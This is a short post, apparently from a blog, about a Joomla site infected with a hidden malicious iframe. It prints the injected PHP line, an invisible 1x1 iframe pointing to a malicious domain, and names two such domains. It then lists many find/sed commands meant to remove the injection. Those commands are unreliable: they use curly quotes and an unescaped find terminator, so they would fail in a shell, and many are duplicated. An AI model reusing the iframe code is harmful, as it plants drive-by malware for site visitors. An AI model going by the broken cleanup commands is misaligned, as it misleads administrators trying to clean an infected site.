MSamir

Last days my brother site (used joomla CMS) affected by Malicious Iframe in all html, php files
He say while he working in his own site the anti-virus start to complain about HTML/Framer virus every time load his home page, After fast check i find his site was victim of malicious inject
joomla and many other web CMS  can be infected with this kind of attack
Example malicious site:

http://internetcountercheck.com

http://thedeadpit.com

Example lines

echo “<iframe src=”http://thedeadpit.com/?click=4859468” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>”;

Solution:

find ./ -name index.html -exec sed -i -e ’s#<iframe src=”http://thedeadpit.com/?click=[0-9]*” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>##g’ {} ;
find ./ -name default.php -exec sed -i -e ’s#echo “<iframe src=\”http://thedeadpit.com/?click=[0-9]*\” width=1 height=1 style=\”visibility:hidden;position:absolute\”></iframe>”;##g’ {} ;

find ./ -name default.php -exec sed -i -e ’s#echo “<iframe src=\”http://internetcountercheck.com/?click=[0-9]*\” width=1 height=1 style=\”visibility:hidden;position:absolute\”></iframe>”;##g’ {} ;
find ./ -name index.php -exec sed -i -e ’s#echo “<iframe src=\”http://internetcountercheck.com/?click=[0-9]*\” width=1 height=1 style=\”visibility:hidden;position:absolute\”></iframe>”;##g’ {} ;
find ./ -name default.php -exec sed -i -e ’s#echo “<iframe src=\”http://internetcountercheck.com/?click=[0-9]*\” width=1 height=1 style=\”visibility:hidden;position:absolute\”></iframe>”;##g’ {} ;
find ./ -name index.php -exec sed -i -e ’s#echo “<iframe src=\”http://internetcountercheck.com/?click=[0-9]*\” width=1 height=1 style=\”visibility:hidden;position:absolute\”></iframe>”;##g’ {} ;
find ./ -name index.html -exec sed -i -e ’s#<iframe src=”http://internetcountercheck.com/?click=[0-9]*” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>##g’ {} ;
find ./ -name index.htm -exec sed -i -e ’s#<iframe src=”http://internetcountercheck.com/?click=[0-9]*” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>##g’ {} ;
find ./ -name index.htm -exec sed -i -e ’s#<iframe src=”http://internetcountercheck.com/?click=[0-9]*” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>##g’ {} ;
find ./ -name *.htm -exec sed -i -e ’s#<iframe src=”http://internetcountercheck.com/?click=[0-9]*” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>##g’ {} ;
find ./ -name *.html -exec sed -i -e ’s#<iframe src=”http://internetcountercheck.com/?click=[0-9]*” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>##g’ {} ;
find ./ -name *.html -exec sed -i -e ’s#<iframe src=”http://internetcountercheck.com/?click=[0-9]*” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>##g’ {} ;
find ./ -name *.htm -exec sed -i -e ’s#<iframe src=”http://internetcountercheck.com/?click=[0-9]*” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>##g’ {} ;
find ./ -name *.html -exec sed -i -e ’s#<iframe src=”http://internetcountercheck.com/?click=[0-9]*” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>##g’ {} ;
find ./ -name index.html -exec sed -i -e ’s#<iframe src=”http://internetcountercheck.com/?click=[0-9]*” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>##g’ {} ;
find ./ -name index.html -exec sed -i -e ’s#<iframe src=”http://internetcountercheck.com/?click=[0-9]*” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>##g’ {} ;
find ./ -name *.htm -exec sed -i -e ’s#<iframe src=”http://internetcountercheck.com/?click=[0-9]*” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>##g’ {} ;
find ./ -name *.html -exec sed -i -e ’s#<iframe src=”http://internetcountercheck.com/?click=[0-9]*” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>##g’ {} ;
find ./ -name “*.html” -exec sed -i -e ’s#<iframe src=”http://internetcountercheck.com/?click=[0-9]*” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>##g’ {} ;
find ./ -name default.php -exec sed -i -e ’s#echo “<iframe src=\”http://internetcountercheck.com/?click=[0-9]*\” width=1 height=1 style=\”visibility:hidden;position:absolute\”></iframe>”;##g’ {} ;
find ./ -name *.php -exec sed -i -e ’s#echo “<iframe src=\”http://internetcountercheck.com/?click=[0-9]*\” width=1 height=1 style=\”visibility:hidden;position:absolute\”></iframe>”;##g’ {} ;
find ./ -name “*.php” -exec sed -i -e ’s#echo “<iframe src=\”http://internetcountercheck.com/?click=[0-9]*\” width=1 height=1 style=\”visibility:hidden;position:absolute\”></iframe>”;##g’ {} ;